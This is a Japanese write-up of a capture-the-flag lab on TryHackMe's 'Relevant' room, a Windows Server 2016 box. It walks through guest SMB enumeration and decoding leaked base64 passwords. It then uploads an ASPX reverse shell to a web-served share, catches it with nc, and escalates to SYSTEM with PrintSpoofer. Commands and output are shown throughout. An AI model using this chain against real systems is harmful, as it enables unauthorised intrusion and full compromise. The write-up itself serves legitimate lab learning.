はじめに
この記事は、TryHackMeのwriteupです。
Roomは、Relevant、Difficulty（難易度）はMediumです。
このRoomでは、Windows環境における侵入テスト手法について学ぶことができます。
Recon
Port Scan
Scanned at 2026-09-19 17:53:03 JST for 77s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-18T08:50:54
| Not valid after: 2027-03-20T08:50:54
| MD5: 0d2f baff 9f1d ff6c 9375 91f7 c199 8af3
| SHA-1: 1afd d61f a923 ba61 2883 362b f897 d7d0 8b5d e400
| SHA-256: a3bb acfd 579f e60f d62b e1a7 6978 09ac 4b2f 04c2 dc42 423c 68b6 bfa4 7e0c 2181
| -----BEGIN CERTIFICATE-----
| MIIC1DCCAbygAwIBAgIQM14sYMTkHKJET5fTxBxuezANBgkqhkiG9w0BAQsFADAT
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNjA5MTgwODUwNTRaFw0yNzAzMjAwODUw
| NTRaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEA/EXjYG1Opb8N0GG3V+FYuv0dCP4wGkz5NHuyLTqtegX5oB/JZsmY
| /whiqSqSOcRezjvq0DgyRRgZrPfWJXR3uFUX0ow9/VsScTurSYEP28JR+buumCnN
| ydOguGGRvfvthhDETLugq/u0oIuEw+qqKvVeAnEsM7LTxNR0C6Dy+tmXXlUNtTfM
| peZQlMmbymN6RjVX4onugHyjiZX4O18Zd8P0hfPwgBfHwHLOB3iZpz892eCJMFcz
| wXQC5SCJ0CYJlFu9mKLE1iTI4EPTpnm9oLm/WNWi2/mNd0QVz5atTUKh5bMt2vCF
| 27vLrTVNxBJJepu4a7SX91LNOA8wBaxCTwIDAQABoyQwIjATBgNVHSUEDDAKBggr
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAHHxddEwGSik
| 2PcwhxqzB8ZzEbCD7CAuWACMrvHXYg9v5GxrA9cbYnZunBK1glg10Gfccc2pFfHt
| fqo44iCKtUqFPrmbhGLgQLoDEc7lBcohO63kUrbqsLIu7eXy/KX61XHo8+rvA22U
| eWjwpveyXCh6aLZKMa4PI/wTpGX8eWqnf/fw11WB8k1e9HCD2zUElSlskpNRT74i
| EfFwSpouFvCfxIlXJS89upVTujdeHlyoBncHnI9Bj3Lrfjyg2waTAMYkiEWwOvEG
| 04SRGdxtepwiswDYS+zcvh0UsnrmrLCnAS9NGK20ziEyeMWt+T/Zml9dq+0hRnc5
| T3cof+N5HKI=
|_-----END CERTIFICATE-----
|_ssl-date: 2026-09-19T08:54:19+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2026-09-19T08:53:59+00:00
49663/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: IIS Windows Server
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-09-19T01:54:02-07:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 61829/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
| Check 2 (port 23980/tcp): CLEAN (Couldn't establish connection (TIMEOUT))
| Check 3 (port 49221/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
| Check 4 (port 16340/udp): CLEAN (Couldn't receive bytes: TIMEOUT)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h23m59s, deviation: 3h07m51s, median: -1s
| smb2-time:
| date: 2026-09-19T08:54:01
|_ start_date: 2026-09-19T08:50:52
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
上記のポートスキャン結果から調査を進めます。
Scanning
以下を中心に偵察します。
- 445/tcp (SMB) が開放されており、ゲストアカウントアクセスが許可されている可能性がある
- Webサーバー（IIS 10.0）が 80/tcp だけでなく、高ポートの 49663/tcp でも動作している
Samba Enumeration
以下のようにどのような共有ファイルが存在するのかを調査しました。
$ nxc smb [target_ip] -u '' -p '' --shares
SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
SMB [target_ip] 445 RELEVANT [-] Relevant\: STATUS_ACCESS_DENIED
SMB [target_ip] 445 RELEVANT [-] Error enumerating shares: Error occurs while reading from remote(54)
Guestユーザーでパスワードが空の場合、いくつか共有されているフォルダがあるようです。
$ nxc smb [target_ip] -u 'Guest' -p '' --shares
SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
SMB [target_ip] 445 RELEVANT [+] Relevant\Guest:
SMB [target_ip] 445 RELEVANT [*] Enumerated shares
SMB [target_ip] 445 RELEVANT Share Permissions Remark
SMB [target_ip] 445 RELEVANT ----- ----------- ------
SMB [target_ip] 445 RELEVANT ADMIN$ Remote Admin
SMB [target_ip] 445 RELEVANT C$ Default share
SMB [target_ip] 445 RELEVANT IPC$ READ Remote IPC
SMB [target_ip] 445 RELEVANT nt4wrksv READ,WRITE
以下のようにspider_plusを使用し、読み取り可能なすべての共有からすべてのファイルを一覧表示してダンプします。
$ nxc smb [target_ip] -u 'Guest' -p '' -M spider_plus -o DOWNLOAD=True
SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
SMB [target_ip] 445 RELEVANT [+] Relevant\Guest:
SPIDER_PLUS [target_ip] 445 RELEVANT [*] Started module spidering_plus with the following options:
SPIDER_PLUS [target_ip] 445 RELEVANT [*] DOWNLOAD_FLAG: True
SPIDER_PLUS [target_ip] 445 RELEVANT [*] STATS_FLAG: True
SPIDER_PLUS [target_ip] 445 RELEVANT [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS [target_ip] 445 RELEVANT [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS [target_ip] 445 RELEVANT [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS [target_ip] 445 RELEVANT [*] OUTPUT_FOLDER: /Users/rikuxx/.nxc/modules/nxc_spider_plus
SMB [target_ip] 445 RELEVANT [*] Enumerated shares
SMB [target_ip] 445 RELEVANT Share Permissions Remark
SMB [target_ip] 445 RELEVANT ----- ----------- ------
SMB [target_ip] 445 RELEVANT ADMIN$ Remote Admin
SMB [target_ip] 445 RELEVANT C$ Default share
SMB [target_ip] 445 RELEVANT IPC$ READ Remote IPC
SMB [target_ip] 445 RELEVANT nt4wrksv READ,WRITE
SPIDER_PLUS [target_ip] 445 RELEVANT [+] Saved share-file metadata to "/Users/XXXXXXX/.nxc/modules/nxc_spider_plus/10.48.128.249.json".
SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Shares: 4 (ADMIN$, C$, IPC$, nt4wrksv)
SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Readable Shares: 2 (IPC$, nt4wrksv)
SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Writable Shares: 1 (nt4wrksv)
SPIDER_PLUS [target_ip] 445 RELEVANT [*] SMB Filtered Shares: 1
SPIDER_PLUS [target_ip] 445 RELEVANT [*] Total folders found: 0
SPIDER_PLUS [target_ip] 445 RELEVANT [*] Total files found: 1
SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size average: 98 B
SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size min: 98 B
SPIDER_PLUS [target_ip] 445 RELEVANT [*] File size max: 98 B
SPIDER_PLUS [target_ip] 445 RELEVANT [*] File unique exts: 1 (txt)
SPIDER_PLUS [target_ip] 445 RELEVANT [*] Downloads successful: 1
SPIDER_PLUS [target_ip] 445 RELEVANT [+] All files processed successfully.
中にはpassword.txtという重要そうなファイルがありました。
$ cat /Users/XXXXXXX/.nxc/modules/nxc_spider_plus/[target_ip].json
{
"nt4wrksv": {
"passwords.txt": {
"atime_epoch": "2020-07-26 00:13:05",
"ctime_epoch": "2020-07-26 00:13:05",
"mtime_epoch": "2020-07-26 00:35:44",
"size": "98 B"
}
}
}%
ダウンロード後、閲覧します。
$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk%
すると、二つのbase64でエンコードされた文字列があります。
実際にデコードすると、Bob、Billのパスワードを取得することができます。
$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P@$$W0rD!123%
$ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$%
以下のように検証したところ、特に見つかりません。
$ nxc smb [target_ip] -u 'Bob' -p '!P@$$W0rD!123'
SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
SMB [target_ip] 445 RELEVANT [+] Relevant\Bob:!P@$$W0rD!123
$ nxc smb 10.48.128.249 -u 'Bill' -p 'Juw4nnaM4n420696969!$$$'
SMB [target_ip] 445 RELEVANT [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:RELEVANT) (domain:Relevant) (signing:False) (SMBv1:True)
SMB [target_ip] 445 RELEVANT [+] Relevant\Bill:Juw4nnaM4n420696969!$$$ (Guest)
Exploitation
ASPX Reverse Shell
以下のように、先ほどのpassword.txtは配信されているようです。
$ curl -i http://[target_ip]:49663/nt4wrksv/passwords.txt
HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Sat, 25 Jul 2020 15:15:33 GMT
Accept-Ranges: bytes
ETag: "65e151719662d61:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Sat, 19 Sep 2026 13:46:12 GMT
Content-Length: 98
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk%
また、認証済みのユーザー(Bob 等)を使用し、smbclinet経由で書き込みが可能なようです。
$ echo 'rikuxx-test' > test.txt
$ smbclient //[target_ip]/nt4wrksv \
-U 'Bob%!P@$$W0rD!123' \
-c 'put test.txt; ls'
Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
putting file test.txt as \test.txt (0.0 kB/s) (average 0.0 kB/s)
. D 0 Sat Sep 19 22:49:47 2026
.. D 0 Sat Sep 19 22:49:47 2026
passwords.txt A 98 Sun Jul 26 00:15:33 2020
test.txt A 12 Sat Sep 19 22:49:47 2026
7735807 blocks of size 4096. 5098564 blocks available
また、.aspxの拡張子を持つファイルも書き込めることがわかります。
$ nano probe.aspx
$ smbclient //[target_ip]/nt4wrksv \
-U 'Bob%!P@$$W0rD!123' \
-c 'put probe.aspx'
Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
putting file probe.aspx as \probe.aspx (0.2 kB/s) (average 0.2 kB/s)
(.venv) rikuxx@RikunoMacBook-Air Relevant % curl -i http://10.48.128.249:49663/nt4wrksv/probe.aspx
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 19 Sep 2026 13:53:37 GMT
Content-Length: 12
aspx-exec-ok%
つまり、これはWindows環境であるため、ASPXファイルを任意コード実行することができそうです。
以下のリバースシェルスクリプトを使用します。
攻撃者のIPアドレスに変更後、同様に書き込みます。
$ nano shell.aspx
$ smbclient //[target_ip]/nt4wrksv \
-U 'Bob%!P@$$W0rD!123' \
-c 'put shell.aspx'
Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
putting file shell.aspx as \shell.aspx (28.7 kB/s) (average 28.7 kB/s)
実際に、リバースシェルを実行します。
- ターゲットホスト側
$ curl -i http://[target_ip]:49663/nt4wrksv/shell.aspx
- 攻撃者のリッスン側
rikuxx@RikunoMacBook-Air ~ % nc -l [MY_IP] 1234
Spawn Shell...
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
すると、リバースシェルに成功してしまいます。
c:\Users\Bob\Desktopの中にあるuser.txtからユーザーフラグを取得することができます。
c:\Users\Bob\Desktop>type user.txt
type user.txt
THM{XXXXXXXXXXXXXXXXXXXXXXX}
User Flag
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXX}
Privilege Escalation
PrintSpoofer Exploitation
以下のように権限昇格につながる不備を探します。
c:\Users\Bob\Desktop>whoami
whoami
iis apppool\defaultapppool
c:\Users\Bob\Desktop>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
c:\Users\Bob\Desktop>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
c:\Users\Bob\Desktop>systeminfo
systeminfo
Host Name: RELEVANT
OS Name: Microsoft Windows Server 2016 Standard Evaluation
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00378-00000-00000-AA739
Original Install Date: 7/25/2020, 7:56:59 AM
System Boot Time: 9/19/2026, 6:27:14 AM
System Manufacturer: Amazon EC2
System Model: t3a.nano
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2200 Mhz
BIOS Version: Amazon EC2 1.0, 10/16/2017
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 492 MB
Available Physical Memory: 42 MB
Virtual Memory: Max Size: 1,516 MB
Virtual Memory: Available: 498 MB
Virtual Memory: In Use: 1,018 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 3 Hotfix(s) Installed.
[01]: KB3192137
[02]: KB3211320
[03]: KB3213986
Network Card(s): 1 NIC(s) Installed.
[01]: Amazon Elastic Network Adapter
Connection Name: Ethernet 3
DHCP Enabled: Yes
DHCP Server: 10.48.128.1
IP address(es)
[01]: 10.48.128.249
[02]: fe80::4dea:e831:d10a:ba6e
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
これは、かなり分かりやすいです。SeImpersonatePrivilegeがEnabledになっています。
現在のシェルは Bob ではなく、
iis apppool\defaultapppool
で動いていて、さらに
SeImpersonatePrivilege Enabled
があります。Windows Server 2016 / IIS AppPool という組み合わせなので、PrintSpoofer 系のローカル権限昇格を狙える可能性があります。
特にこの環境なら、まず PrintSpoofer を試すのがシンプルなので、THM のラボの場合、バイナリを nt4wrksv 経由でおいても良さそうです。
まず、PrintSpoofer64.exeをダウンロードしてきます。
$ curl -LO https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 27136 100 27136 0 0 46082 0 --:--:-- --:--:-- --:--:-- 46082
実際にホスト側にPrintSpoofer64.exeを転送します。
$ smbclient //[target_ip]/nt4wrksv \
-U 'Bob%!P@$$W0rD!123' \
-c 'put PrintSpoofer64.exe'
Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
putting file PrintSpoofer64.exe as \PrintSpoofer64.exe (51.1 kB/s) (average 51.1 kB/s)
しっかり転送されたことがわかります。
c:\Users\Bob\Desktop>where /r C:\ PrintSpoofer64.exe
where /r C:\ PrintSpoofer64.exe
C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe
以下のように実行することで権限昇格することが可能です。
c:\Users\Bob\Desktop>C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c cmd
C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktopのroot.txtでルートフラグを取得することができます。
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
Directory of C:\Users\Administrator\Desktop
07/25/2020 08:24 AM <DIR> .
07/25/2020 08:24 AM <DIR> ..
07/25/2020 08:25 AM 35 root.txt
1 File(s) 35 bytes
2 Dir(s) 20,883,652,608 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{YYYYYYYYYYYYYYYYYYYYYYYYYYY}
Root Flag
Answer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYY}
終わり
今回は、Windows環境における侵入テスト手法について学ぶことができるラボについて、解きました。
割とWindows系のBoot2Root系では比較的、控えめな印象がありました。
Tips
Printer Bug Exploitation
以下のように、Windowsの印刷スプーラーサービス（Print Spooler）の仕様を悪用し、ローカルの低い権限から最高権限である SYSTEM 権限へと昇格させる ためのオープンソースの攻撃・検証用ツールが公開されています。
SeImpersonatePrivilegeによる設定不備から生じる権限昇格について
以下にチートシートもあるため、ご参考になるブログもあります。
今回のラボのケースでは、SeImpersonatePrivilegeがEnabledになっているだけで
- Juicy Potato
- PrintSpoofer
- RoguePotato
などで SYSTEM昇格可能だということを覚えておくと良さそうです。
ご参考になると幸いです。